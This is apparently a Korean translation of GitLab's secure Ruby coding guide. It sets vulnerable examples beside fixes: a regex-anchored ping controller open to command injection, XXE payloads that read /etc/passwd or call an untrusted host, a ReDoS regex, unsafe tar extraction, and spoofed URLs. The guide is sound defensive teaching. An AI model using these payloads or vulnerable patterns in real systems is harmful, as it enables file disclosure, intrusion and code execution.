보안 코딩 개발 가이드라인
GitLab v19.5요약
이 문서는 GitLab 코드베이스에서 일반적으로 필요한 보안 Ruby 프로그래밍 관행에 대한 설명과 가이드라인을 담고 있습니다. 다른 프로그래밍 언어(예: Perl, Python)와 달리 Ruby에서는 정규 표현식이 기본적으로 멀티라인으로 매칭됩니다.
이 문서는 GitLab 코드베이스에서 일반적으로 필요한 보안 Ruby 프로그래밍 관행에 대한 설명과 가이드라인을 담고 있습니다. 이 가이드라인은 개발자가 처음부터 안전한 Ruby 코드를 작성하고, 개발 과정 초기에 잠재적인 보안 취약점을 식별하며, Ruby 특화 모범 사례를 따르도록 돕기 위한 것입니다. 이런 표준을 준수함으로써 Ruby의 내장 보안 기능을 효과적으로 활용하면서, 시간이 지남에 따라 출시되는 보안 취약점의 수를 줄이는 것을 목표로 합니다.
정규 표현식 가이드라인#
Ruby의 앵커 / 멀티라인#
다른 프로그래밍 언어(예: Perl, Python)와 달리 Ruby에서는 정규 표현식이 기본적으로 멀티라인으로 매칭됩니다. 다음 Python 예시를 살펴봅니다.
import re
text = "foo\nbar"
matches = re.findall("^bar$",text)
print(matches)
Python 예시는 매처가 줄바꿈(\n)을 포함한 전체 문자열 foo\nbar를 고려하므로 빈 배열([])을 출력합니다. 반면 Ruby의 정규 표현식 엔진은 다르게 동작합니다.
text = "foo\nbar"
p text.match /^bar$/
이 예시의 출력은 #입니다. Ruby가 입력 text를 줄 단위로 처리하기 때문입니다. 전체 문자열을 매칭하려면 정규 표현식 앵커 \A와 \z를 사용해야 합니다.
영향#
이런 Ruby 정규 표현식의 특성은 보안에 영향을 줄 수 있습니다. 정규 표현식은 흔히 유효성 검사나 사용자 입력에 대한 제한을 거는 데 쓰이기 때문입니다.
예시#
GitLab 관련 예시는 다음 경로 탐색 및 오픈 리다이렉트 이슈에서 찾을 수 있습니다.
또 다른 예시로 다음과 같은 가상의 Ruby on Rails 컨트롤러가 있습니다.
class PingController < ApplicationController
def ping
if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
render :text => `ping -c 4 #{params[:ip]}`
else
render :text => "Invalid IP"
end
end
end
여기서 params[:ip]는 숫자와 점 이외의 것을 포함해서는 안 됩니다. 그러나 정규 표현식 앵커 ^와 $를 사용하고 있어 이 제한을 우회할 수 있습니다. 결국 params[:ip]에 줄바꿈을 넣으면 ping -c 4 #{params[:ip]}에서 셸 명령 인젝션으로 이어집니다.
완화#
대부분의 경우 ^와 $ 대신 텍스트 시작을 나타내는 \A와 텍스트 끝을 나타내는 \z 앵커를 사용해야 합니다.
서비스 거부(ReDoS) / 재앙적 역추적#
정규 표현식(regex)이 문자열을 검색하다가 일치 항목을 찾지 못하면, 다른 가능성을 시도하기 위해 역추적할 수 있습니다.
예를 들어 regex .*!$가 문자열 hello!를 매칭할 때, .*가 먼저 전체 문자열과
매칭하지만 regex의 !는 해당 문자가 이미 사용되어서 매칭할 수 없습니다. 이 경우
Ruby regex 엔진은 !가 매칭할 수 있도록 한 문자를
_역추적_합니다.
ReDoS는 공격자가 사용되는 정규 표현식을 알거나 제어할 수 있는 공격입니다. 공격자는 이 역추적 동작을 유발하는 사용자 입력을 넣어 실행 시간을 몇 자릿수만큼 늘릴 수 있습니다.
영향#
Puma나 Sidekiq 같은 리소스가 문제가 되는 regex 매칭을 평가하는 데 오랜 시간이 걸려 멈춰버릴 수 있습니다. 평가 시간이 길어지면 리소스를 수동으로 종료해야 할 수 있습니다.
예시#
다음은 GitLab 관련 예시입니다.
정규 표현식을 만드는 데 사용되는 사용자 입력:
역추적 문제가 있는 하드코딩된 정규 표현식:
다음 예시 애플리케이션을 살펴봅니다. 정규 표현식을 사용해 검사를 정의하고 있습니다. 사용자가 폼의 이메일로 user@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!.com을 입력하면 웹 서버가 멈춥니다.
# For ruby versions < 3.2.0
# Press Control+C to terminate a hung process
class Email < ApplicationRecord
DOMAIN_MATCH = Regexp.new('([a-zA-Z0-9]+)+\.com')
validates :domain_matches
private
def domain_matches
errors.add(:email, 'does not match') if email =~ DOMAIN_MATCH
end
end
완화#
Ruby 3.2.0 이상#
Ruby는 3.2.0에서 ReDoS에 대한 Regexp 개선 사항을 릴리스했습니다. _"백참조나 lookaround 같은 고급 기능을 포함하거나 반복 횟수가 매우 많은 특정 종류의 정규 표현식"_을 제외하면 ReDoS는 더 이상 문제가 되지 않습니다.
GitLab이 전역 Regexp 타임아웃을 강제하기 전까지는 특히 고급 기능을 사용하거나 반복 횟수가 많을 때 명시적인 타임아웃 파라미터를 전달해야 합니다. 예를 들면 다음과 같습니다.
Regexp.new('^a*b?a*()\1$', timeout: 1) # timeout in seconds
Ruby 3.2.0 이전#
GitLab에는 내부적으로 re2 라이브러리를 사용하는
Gitlab::UntrustedRegexp가 있습니다.
re2는 역추적을 지원하지 않으므로 실행 시간이 일정하지만, 사용할 수 있는 regex 기능의 하위 집합은 더 작습니다.
사용자가 제공하는 모든 정규 표현식은 Gitlab::UntrustedRegexp를 사용해야 합니다.
그 외의 정규 표현식에 대해서는 다음과 같은 가이드라인을 따릅니다.
String#start_with?처럼 정규 표현식을 쓰지 않는 깔끔한 해결책이 있다면 사용을 고려합니다- Ruby는 역추적을 없애는 원자 그룹과 소유격 수량자 같은 고급 regex 기능을 지원합니다
- 가능하면 중첩된 수량자를 피합니다(예:
(a+)+) - regex를 가능한 한 정밀하게 작성하고, 대안이 있다면
.를 피합니다- 예를 들어
_text here_를 매칭하려면_.*_대신_[^_]+_를 사용합니다
- 예를 들어
- 무제한
*,+매처 대신 반복 패턴에는 합리적인 범위(예:{1,10})를 사용합니다 - 가능하면 정규 표현식을 사용하기 전에 최대 문자열 길이 검사와 같은 간단한 입력 유효성 검사를 수행합니다
- 의심스러우면 주저하지 말고
@gitlab-com/gl-security/appsec에 문의합니다
서버 측 요청 위조(SSRF)#
설명#
서버 측 요청 위조(SSRF)는 공격자가 애플리케이션을 속여 의도하지 않은 리소스로 아웃바운드 요청을 보내게 만드는 공격입니다. 이 리소스는 보통 내부에 있습니다. GitLab에서는 대개 HTTP로 연결하지만, SSRF는 Redis나 SSH 같은 어떤 프로토콜로도 수행할 수 있습니다.
SSRF 공격에서는 UI가 응답을 보여줄 수도 있고 보여주지 않을 수도 있습니다. 후자를 Blind SSRF라고 부릅니다. 영향은 줄어들지만, 특히 정찰의 일환으로 내부 네트워크 서비스를 매핑하는 데는 공격자에게 여전히 유용할 수 있습니다.
영향#
SSRF의 영향은 애플리케이션 서버가 통신할 수 있는 대상, 공격자가 페이로드를 얼마나 제어할 수 있는지, 응답이 공격자에게 반환되는지에 따라 달라질 수 있습니다. GitLab에 보고된 영향의 예시는 다음과 같습니다.
- 내부 서비스의 네트워크 매핑
- 추가 공격에 사용될 수 있는 내부 서비스 정보를 공격자가 수집하는 데 도움이 될 수 있습니다. 자세한 내용.
- 클라우드 서비스 메타데이터를 포함한 내부 서비스 읽기.
- 후자는 심각한 문제가 될 수 있습니다. 공격자가 피해자의 클라우드 인프라를 제어할 수 있는 키를 얻을 수 있기 때문입니다. (토큰에 필요한 권한만 부여해야 하는 이유이기도 합니다.) 자세한 내용.
- CRLF 취약점과 결합되면 원격 코드 실행으로 이어집니다. 자세한 내용.
고려해야 할 시점#
- 애플리케이션이 아웃바운드 연결을 만들 때
완화#
SSRF 취약점을 완화하려면, 특히 사용자가 제공한 정보가 포함된 경우 아웃바운드 요청의 대상을 검증해야 합니다.
GitLab에서 선호하는 SSRF 완화 방법은 다음과 같습니다.
- 알려진 신뢰할 수 있는 도메인이나 IP 주소에만 연결합니다.
Gitlab::HTTP라이브러리를 사용합니다- 기능별 완화를 구현합니다
GitLab HTTP 라이브러리#
Gitlab::HTTP 래퍼 라이브러리는 GitLab에 알려진 모든 SSRF 벡터에 대한 완화 기능을 포함하도록 성장했습니다. 또한 인스턴스 관리자가 모든 내부 연결을 차단하거나
연결 가능한 네트워크를 제한할 수 있는 Outbound requests 옵션을 준수하도록 구성되어 있습니다.
Gitlab::HTTP 래퍼 라이브러리는 요청을 gitlab-http gem에 위임합니다.
경우에 따라 서드파티 gem의 HTTP 연결 라이브러리로 Gitlab::HTTP를 구성할 수
있었습니다. 새 기능을 위해 완화 기능을 다시 구현하는 것보다는 이 방법이
더 낫습니다.
URL 차단기 및 유효성 검사 라이브러리#
Gitlab::HTTP_V2::UrlBlocker는 제공된 URL이 일련의 제약 조건을
충족하는지 검증하는 데 사용할 수 있습니다. 중요한 점은, dns_rebind_protection이 true일 때 이 메서드가 호스트 이름이
IP 주소로 대체된 안전한 URI를 반환한다는 것입니다. DNS 레코드가 이미 확인되었으므로 DNS 리바인딩 공격을 막아 줍니다. 하지만 이
반환값을 무시하면 DNS 리바인딩으로부터 보호받지 못합니다.
AddressableUrlValidator(validates :url, addressable_url: {opts} 또는 public_url: {opts}로 호출)와 같은 유효성 검사기도 마찬가지입니다.
유효성 검사 오류는 레코드가 생성되거나 저장될 때처럼 유효성 검사가 호출될 때만 발생합니다. 레코드를 저장할 때 유효성 검사가 반환한
값을 무시했다면, 사용하기 전에 유효성을 다시 확인해야 합니다. 자세한 내용은 검사 시점과 사용 시점 버그를 참고합니다.
기능별 완화#
일반적인 SSRF 유효성 검사를 우회하는 방법은 다양합니다. 기능별 완화가 필요하다면 AppSec 팀이나 이전에 SSRF 완화 작업을 해본 개발자가 검토해야 합니다.
허용 목록이나 GitLab:HTTP를 사용할 수 없는 상황에서는 기능에 직접 완화 기능을
구현해야 합니다. 공격자가 DNS를 제어할 수 있으므로, 도메인 이름만이 아니라
대상 IP 주소 자체를 검증하는 것이 가장 좋습니다. 다음은 구현해야 할
완화 목록입니다.
- 모든 localhost 주소로의 연결을 차단합니다
127.0.0.1/8(IPv4 - 서브넷 마스크에 유의)::1(IPv6)
- 프라이빗 주소 대역(RFC 1918)을 쓰는 네트워크로의 연결을 차단합니다
10.0.0.0/8172.16.0.0/12192.168.0.0/24
- 링크 로컬 주소(RFC 3927)로의 연결을 차단합니다
169.254.0.0/16- 특히 GCP의 경우:
metadata.google.internal->169.254.169.254
- HTTP 연결의 경우: 리다이렉트를 비활성화하거나 리다이렉트 대상을 검증합니다
- DNS 리바인딩 공격을 완화하려면, 수신한 첫 IP 주소를 검증하고 사용합니다.
SSRF 페이로드 예시는 url_blocker_spec.rb를 참고합니다. DNS 리바인딩 계열 버그에 대한 자세한 내용은 검사 시점과 사용 시점 버그를 참고합니다.
URL을 검증할 때 .start_with? 같은 메서드에 의존하거나, 문자열의 어느 부분이
URL의 어느 부분에 대응하는지 함부로 가정하지 않습니다. URI 클래스로 문자열을 파싱하고
각 구성 요소(스킴, 호스트, 포트, 경로 등)를 검증합니다. 공격자는 안전해
보이지만 악의적인 위치로 이어지는 유효한 URL을 만들어 낼 수 있습니다.
user_supplied_url = "https://my-safe-site.com@my-evil-site.com" # Content before an @ in a URL is usually for basic authentication
user_supplied_url.start_with?("https://my-safe-site.com") # Don't trust with start_with? for URLs!
=> true
URI.parse(user_supplied_url).host
=> "my-evil-site.com"
user_supplied_url = "https://my-safe-site.com-my-evil-site.com"
user_supplied_url.start_with?("https://my-safe-site.com") # Don't trust with start_with? for URLs!
=> true
URI.parse(user_supplied_url).host
=> "my-safe-site.com-my-evil-site.com"
# Here's an example where we unsafely attempt to validate a host while allowing for
# subdomains
user_supplied_url = "https://my-evil-site-my-safe-site.com"
user_supplied_host = URI.parse(user_supplied_url).host
=> "my-evil-site-my-safe-site.com"
user_supplied_host.end_with?("my-safe-site.com") # Don't trust with end_with?
=> true
XSS 가이드라인#
설명#
크로스 사이트 스크립팅(XSS)은 신뢰할 수 있는 웹 애플리케이션에 악성 JavaScript 코드가 주입되어 클라이언트 브라우저에서 실행되는 문제입니다. 입력은 데이터로 의도되었지만, 브라우저가 이를 코드로 처리합니다.
XSS 문제는 전달 방식에 따라 보통 세 범주로 분류됩니다.
영향#
주입된 클라이언트 측 코드는 피해자의 현재 세션 컨텍스트에서 피해자의 브라우저에서 실행됩니다. 즉 공격자는 피해자가 브라우저로 할 수 있는 것과 같은 작업을 수행할 수 있습니다. 공격자는 다음도 할 수 있습니다.
- 피해자의 키 입력 기록
- 피해자의 브라우저에서 네트워크 스캔을 실행합니다
- 피해자의 세션 토큰을 획득할 수도 있습니다
- 데이터 손실/도난이나 계정 탈취로 이어지는 작업을 수행합니다
영향의 많은 부분은 애플리케이션의 기능과 피해자 세션이 가진 권한에 따라 달라집니다. 추가로 가능한 영향은 beef 프로젝트를 확인합니다.
현실적인 공격 시나리오로 GitLab에 미치는 영향을 시연한 자료는 GitLab Unfiltered 채널의 이 동영상을 참고합니다(내부용이며 GitLab Unfiltered 계정으로 로그인해야 합니다).
Rails에서의 완화와 예방#
기본적으로 Rails는 문자열을 HTML 템플릿에 삽입할 때 자동으로 이스케이프합니다. Rails가 문자열을 이스케이프하지 못하게 만드는 메서드는, 특히 사용자 제어 값과 관련된 것이라면 피합니다. 특히 다음 옵션들은 문자열을 신뢰할 수 있고 안전한 것으로 표시하므로 위험합니다.
| 메서드 | 피해야 할 옵션 |
|---|---|
| HAML 템플릿 | html_safe, raw, != |
| Embedded Ruby(ERB) | html_safe, raw, <%== %> |
XSS 취약점에 대비해 사용자 제어 값을 정제하려면
ActionView::Helpers::SanitizeHelper를 사용할 수 있습니다.
사용자 제어 파라미터로 link_to와 redirect_to를 호출하는 것도 크로스 사이트 스크립팅으로 이어질 수 있습니다.
URL 스킴도 정제하고 검증합니다.
참고 자료:
XML 외부 엔티티#
설명#
XML 외부 엔티티(XXE) 인젝션은 XML 입력을 파싱하는 애플리케이션을 대상으로 하는 공격 유형입니다. 외부 엔티티를 참조하는 XML 입력이 취약하게 구성된 XML 파서에서 처리될 때 발생합니다. 기밀 데이터 노출, 서비스 거부, 서버 측 요청 위조, 파서가 위치한 머신 관점에서의 포트 스캔 등 다른 시스템 영향으로 이어질 수 있습니다.
완화#
코드베이스에서 XXE 취약점을 막는 주요 방법은 두 가지입니다.
안전한 XML 파서 사용: Ruby로 코딩할 때는 Nokogiri 사용을 선호합니다. Nokogiri는 XXE 공격을 막는 안전한 기본값을 제공하므로 좋은 선택입니다. 자세한 내용은 HTML/XML 문서 파싱에 관한 Nokogiri 문서를 참고합니다.
Nokogiri를 사용할 때는, 특히 정제되지 않은 사용자 입력을 다룰 때 기본값이나 안전한 파싱 설정을 반드시 사용합니다. 다음의 안전하지 않은 Nokogiri 설정은 사용하지 않습니다.
| 설정 | 설명 |
|---|---|
dtdload |
정제되지 않은 사용자 입력을 다룰 때 안전하지 않은, 객체의 DTD 유효성을 검증하려 합니다. |
huge |
서비스 거부에 사용될 수 있는 객체의 최대 크기·깊이 제한을 해제합니다. |
nononet |
네트워크 연결을 허용합니다. |
noent |
XML 엔티티 확장을 허용하며, 임의 파일 읽기로 이어질 수 있습니다. |
안전한 XML 라이브러리#
require 'nokogiri'
# Safe by default
doc = Nokogiri::XML(xml_string)
안전하지 않은 XML 라이브러리, 파일 시스템 유출#
require 'rexml/document'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# Parsing XML without proper safeguards
doc = REXML::Document.new(xml)
puts doc.root.text
# This could output /etc/passwd
Noent 안전하지 않은 설정 초기화, 잠재적 파일 시스템 유출#
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# noent substitutes entities, unsafe when parsing XML
po = Nokogiri::XML::ParseOptions.new.huge.noent
doc = Nokogiri::XML::Document.parse(xml, nil, nil, po)
puts doc.root.text # This will output the contents of /etc/passwd
##
# User Database
#
# Note that this file is consulted directly only when the system is running
...
Nononet 안전하지 않은 설정 초기화, 잠재적 악성 코드 실행#
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://untrustedhost.example.com/maliciousCode" >]>
<foo>&xxe;</foo>
EOX
# In this example we use `ParseOptions` but select insecure options.
# NONONET allows network connections while parsing which is unsafe, as is DTDLOAD!
options = Nokogiri::XML::ParseOptions.new(Nokogiri::XML::ParseOptions::NONONET, Nokogiri::XML::ParseOptions::DTDLOAD)
# Parsing the xml above would allow `untrustedhost` to run arbitrary code on our server.
# See the "Impact" section for more.
doc = Nokogiri::XML::Document.parse(xml, nil, nil, options)
Noent 안전하지 않은 설정 지정, 잠재적 파일 시스템 유출#
require 'nokogiri'
# Vulnerable code
xml = <<-EOX
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
EOX
# setting options may also look like this, NONET disallows network connections while parsing safe
options = Nokogiri::XML::ParseOptions::NOENT | Nokogiri::XML::ParseOptions::NONET
doc = Nokogiri::XML(xml, nil, nil, options) do |config|
config.nononet # Allows network access
config.noent # Enables entity expansion
config.dtdload # Enables DTD loading
end
puts doc.to_xml
# This could output the contents of /etc/passwd
영향#
XXE 공격은 임의 파일 읽기, 원격 코드 실행, 정보 노출처럼 여러 심각도 높은 문제로 이어질 수 있습니다.
고려해야 할 시점#
XML 파싱 작업을 할 때, 특히 사용자 제어 입력을 다룰 때입니다.
경로 탐색 가이드라인#
설명#
경로 탐색 취약점은 공격자에게 애플리케이션을 실행 중인 서버의 임의 디렉터리와 파일에 대한 접근 권한을 줍니다. 여기에는 데이터, 코드, 자격 증명이 포함될 수 있습니다.
탐색은 경로에 디렉터리가 포함될 때 일어날 수 있습니다. 전형적인 악의적인 예시는 파일 시스템에 상위 디렉터리를 보라고 지시하는 하나 이상의 ../를 포함합니다. 경로에 이런 것을 여러 개 넣으면(예: ../../../../../../../etc/passwd) 보통 /etc/passwd로 귀결됩니다. 파일 시스템이 루트 디렉터리까지 거슬러 올라가도록 지시받았는데 더 이상 올라갈 수 없다면, 추가된 ../는 무시됩니다. 그러면 파일 시스템은 루트에서 찾기 시작해 /etc/passwd에 도달하게 됩니다. 악의적인 공격자에게 절대 노출하고 싶지 않은 파일입니다.
영향#
경로 탐색 공격은 임의 파일 읽기, 원격 코드 실행, 정보 노출처럼 여러 심각도 높은 문제로 이어질 수 있습니다.
고려해야 할 시점#
사용자 제어 파일명·경로와 파일 시스템 API를 다룰 때입니다.
완화와 예방#
경로 탐색 취약점을 예방하려면, 사용자 제어 파일명이나 경로는 처리되기 전에 검증되어야 합니다.
- 허용된 값의 허용 목록과 사용자 입력을 비교하거나, 허용된 문자만 포함하는지 확인합니다.
- 사용자가 제공한 입력을 검증한 뒤에는 기본 디렉터리에 덧붙이고, 파일 시스템 API로 경로를 정규화해야 합니다.
GitLab 특화 유효성 검사#
Gitlab::PathTraversal.check_path_traversal!()와 Gitlab::PathTraversal.check_allowed_absolute_path!()
메서드로 사용자가 제공한 경로를 검증하고 취약점을 예방할 수 있습니다.
check_path_traversal!()은 경로 탐색 페이로드를 감지하며, URL 인코딩된 경로도 받아들입니다.
check_allowed_absolute_path!()는 경로가 절대 경로인지, 허용된 경로 목록 안에 있는지 확인합니다. 기본적으로 절대 경로는
허용되지 않으므로, check_allowed_absolute_path!()를 사용할 때는 허용된 절대 경로 목록을 path_allowlist
파라미터에 전달해야 합니다.
두 검사를 함께 사용하려면 아래 예시를 따릅니다.
Gitlab::PathTraversal.check_allowed_absolute_path_and_path_traversal!(path, path_allowlist)
REST API에는 엔드포인트가 가진 모든 파일 경로 인수에 검사를 수행할 수 있는
FilePath 유효성 검사기가 있습니다.
다음과 같이 사용할 수 있습니다.
requires :file_path, type: String, file_path: { allowlist: ['/foo/bar/', '/home/foo/', '/app/home'] }
경로 탐색 검사는 모든 절대 경로를 금지하는 데도 사용할 수 있습니다.
requires :file_path, type: String, file_path: true
절대 경로는 기본적으로 허용되지 않습니다. 절대 경로를 허용해야 한다면
allowlist 파라미터에 경로 배열을 제공해야 합니다.
오해를 부르는 동작#
파일 경로를 구성하는 데 쓰이는 일부 메서드는 직관적이지 않은 동작을 보일 수 있습니다. 사용자 입력을 올바르게 검증하려면 이런 동작을 알아 두어야 합니다.
Ruby 메서드 Pathname.join은
경로명을 결합합니다. 메서드를 특정한 방식으로 사용하면 일반적인 사용에서는 금지되는 경로명이
만들어질 수 있습니다. 아래 예시에서는 민감한 파일인 /etc/passwd에 접근하려는 시도를 볼 수 있습니다.
require 'pathname'
p = Pathname.new('tmp')
print(p.join('log', 'etc/passwd', 'foo'))
# => tmp/log/etc/passwd/foo
두 번째 파라미터가 사용자 제공값이고 검증되지 않았다고 가정하면, 새 절대 경로를 제출했을 때 다른 경로가 만들어집니다.
print(p.join('log', '/etc/passwd', ''))
# renders the path to "/etc/passwd", which is not what we expect!
OS 명령 인젝션 가이드라인#
명령 인젝션은 공격자가 취약한 애플리케이션을 통해 호스트 운영 체제에서 임의 명령을
실행할 수 있게 되는 문제입니다. 이런 공격이 항상 사용자에게 피드백을 제공하는 것은
아니지만, 공격자는 curl 같은 간단한 명령으로 응답을 얻을 수 있습니다.
영향#
명령 인젝션의 영향은 명령을 실행하는 사용자 컨텍스트와 데이터가 검증·정제되는 방식에 크게 좌우됩니다. 주입된 명령을 실행하는 사용자의 권한이 제한적이라면 영향이 낮을 수 있고, root 사용자로 실행된다면 치명적인 영향까지 갈 수 있습니다.
잠재적인 영향은 다음과 같습니다.
- 호스트 머신에서 임의 명령을 실행합니다.
- 시크릿이나 구성 파일에 담긴 비밀번호와 토큰을 포함한 민감한 데이터에 무단으로 접근합니다.
/etc/passwd/나/etc/shadow처럼 호스트 머신의 민감한 시스템 파일을 노출합니다.- 호스트 머신에 대한 접근으로 얻은 권한을 이용해 관련 시스템과 서비스를 침해합니다.
OS 명령을 실행하는 데 쓰이는 사용자 제어 데이터를 다룰 때는 명령 인젝션을 인지하고 이를 막는 조치를 취해야 합니다.
완화와 예방#
OS 명령 인젝션을 막으려면 사용자가 제공한 데이터를 OS 명령 안에서 사용하지 않아야 합니다. 이를 피할 수 없는 경우에는 다음을 따릅니다.
- 사용자가 제공한 데이터를 허용 목록에 대해 검증합니다.
- 사용자가 제공한 데이터가 영숫자 문자만 포함하는지 확인합니다(예를 들어 구문이나 공백 문자는 포함하지 않습니다).
- 옵션과 인수를 구분할 때는 항상
--를 사용합니다.
가능하면 system("command", "arg0", "arg1", ...)을 사용하는 것을 고려합니다. 이렇게 하면
공격자가 명령을 이어붙이지 못하게 됩니다.
셸 명령을 안전하게 사용하는 방법에 대한 더 많은 예시는 GitLab 코드베이스의 셸 명령 가이드라인을 참고합니다. OS 명령을 안전하게 호출하는 다양한 예시가 담겨 있습니다.
아카이브 파일 다루기#
zip, tar, jar, war, cpio, apk, rar, 7z 같은 아카이브 파일을 다루는 작업은 애플리케이션에 심각한 보안 취약점이 몰래 들어올 수 있는 영역입니다.
아카이브 파일을 안전하게 다루는 유틸리티#
아카이브 파일을 안전하게 다루는 데 사용할 수 있는 공통 유틸리티가 있습니다.
| 아카이브 유형 | 유틸리티 |
|---|---|
zip |
SafeZip |
SafeZip#
SafeZip은 SafeZip::Extract 클래스를 통해 zip 아카이브 내의 특정 디렉터리나 파일을 안전하게 추출하는 인터페이스를 제공합니다.
예시:
Dir.mktmpdir do |tmp_dir|
SafeZip::Extract.new(zip_file_path).extract(files: ['index.html', 'app/index.js'], to: tmp_dir)
SafeZip::Extract.new(zip_file_path).extract(directories: ['src/', 'test/'], to: tmp_dir)
rescue SafeZip::Extract::EntrySizeError
raise Error, "Path `#{file_path}` has invalid size in the zip!"
end
Zip Slip#
2018년 보안 기업 Snyk는 여러 라이브러리와 애플리케이션에 존재하는, 널리 퍼진 심각한 취약점을 연구한 블로그 게시글을 발표했습니다. 이 취약점은 공격자가 서버 파일 시스템의 임의 파일을 덮어쓸 수 있게 하며, 많은 경우 원격 코드 실행으로 이어질 수 있습니다. 이 취약점에는 Zip Slip이라는 이름이 붙었습니다.
Zip Slip 취약점은 애플리케이션이 아카이브를 추출할 때, 파일이 추출되는 위치를 바꾸는 디렉터리 탐색 시퀀스에 대해 아카이브 내부의 파일명을 검증·정제하지 않고 추출할 때 발생합니다.
악의적인 파일명 예시:
../../etc/passwd../../root/.ssh/authorized_keys../../etc/gitlab/gitlab.rb
취약한 애플리케이션이 이런 파일명이 포함된 아카이브 파일을 추출하면, 공격자는 이 파일들을 임의의 내용으로 덮어쓸 수 있습니다.
안전하지 않은 아카이브 추출 예시#
zip 파일의 경우 rubyzip Ruby gem이 이미 Zip Slip 취약점에 대해 패치되어 있어 디렉터리 탐색을 시도하는 파일 추출을 거부하므로, 이 취약한 예시에서는 Gem::Package::TarReader로 tar.gz 파일을 추출합니다.
# Vulnerable tar.gz extraction example!
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
tar_extract.each do |entry|
next unless entry.file? # Only process files in this example for simplicity.
destination = "/tmp/extracted/#{entry.full_name}" # Oops! We blindly use the entry filename for the destination.
File.open(destination, "wb") do |out|
out.write(entry.read)
end
end
모범 사례#
대상 파일 경로는 항상 잠재적인 디렉터리 탐색이나 경로를 바꿀 수 있는 다른 시퀀스를 모두 해석하는 방식으로 확장하고, 최종 대상 경로가 의도한 대상 디렉터리로 시작하지 않으면 추출을 거부합니다.
# tar.gz extraction example with protection against Zip Slip attacks.
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
tar_extract.each do |entry|
next unless entry.file? # Only process files in this example for simplicity.
# safe_destination will raise an exception in case of Zip Slip / directory traversal.
destination = safe_destination(entry.full_name, "/tmp/extracted")
File.open(destination, "wb") do |out|
out.write(entry.read)
end
end
def safe_destination(filename, destination_dir)
raise "filename cannot start with '/'" if filename.start_with?("/")
destination_dir = File.realpath(destination_dir)
destination = File.expand_path(filename, destination_dir)
raise "filename is outside of destination directory" unless
destination.start_with?(destination_dir + "/"))
destination
end
# zip extraction example using rubyzip with built-in protection against Zip Slip attacks.
require 'zip'
Zip::File.open("/tmp/uploaded.zip") do |zip_file|
zip_file.each do |entry|
# Extract entry to /tmp/extracted directory.
entry.extract("/tmp/extracted")
end
end
심링크 공격#
심링크 공격은 공격자가 취약한 애플리케이션 서버에 있는 임의 파일의 내용을 읽을 수 있게 합니다. 원격 코드 실행이나 다른 심각한 취약점으로 이어질 수 있는 고심각도 취약점이지만, 취약한 애플리케이션이 공격자로부터 아카이브 파일을 받아들이고, 아카이브 내부의 심볼릭 링크를 검증·정제하지 않은 채 추출된 내용을 어떤 식으로든 공격자에게 다시 보여주는 시나리오에서만 악용할 수 있습니다.
안전하지 않은 아카이브 심링크 추출 예시#
zip 파일의 경우 rubyzip Ruby gem이 심볼릭 링크를 무시하므로 심링크 공격에 대해 이미 패치되어 있어, 이 취약한 예시에서는 Gem::Package::TarReader로 tar.gz 파일을 추출합니다.
# Vulnerable tar.gz extraction example!
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
# Loop over each entry and output file contents
tar_extract.each do |entry|
next if entry.directory?
# Oops! We don't check if the file is actually a symbolic link to a potentially sensitive file.
puts entry.read
end
모범 사례#
내용을 읽기 전에는 항상 아카이브 항목의 유형을 확인하고, 일반 파일이 아닌 항목은 무시합니다. 심볼릭 링크를 반드시 지원해야 한다면, 그 링크가 아카이브 내부의 파일만 가리키도록 합니다.
# tar.gz extraction example with protection against symlink attacks.
begin
tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open("/tmp/uploaded.tar.gz"))
rescue Errno::ENOENT
STDERR.puts("archive file does not exist or is not readable")
exit(false)
end
tar_extract.rewind
# Loop over each entry and output file contents
tar_extract.each do |entry|
next if entry.directory?
# By skipping symbolic links entirely, we are sure they can't cause any trouble!
next if entry.symlink?
puts entry.read
end
URL 스푸핑#
GitLab 기능을 이용해 다른 사용자를 악성 사이트로 리다이렉트하려는 악의적인 행위자로부터 사용자를 보호하고자 합니다.
GitLab의 많은 기능은 사용자가 외부 웹사이트로 가는 링크를 게시할 수 있게 합니다. 사용자가 지정한 링크의 목적지가 사용자에게 아주 명확하게 드러나는 것이 중요합니다.
external_redirect_path#
사용자가 제공한 링크를 보여줄 때, 실제 URL이 가려져 있다면 external_redirect_path
헬퍼 메서드로 사용자를 먼저 경고 페이지로 리다이렉트합니다. 예를 들면 다음과 같습니다.
# Bad :(
# This URL comes from User-Land and may not be safe...
# We need the user to see where they are going.
link_to foo_social_url(@user), title: "Foo Social" do
sprite_icon('question-o')
end
# Good :)
# The external_redirect "leaving GitLab" page will show the URL to the user
# before they leave.
link_to external_redirect_path(url: foo_social_url(@user)), title: "Foo" do
sprite_icon('question-o')
end
예시로 이 실제 사용 예도 참고합니다.
이메일과 알림#
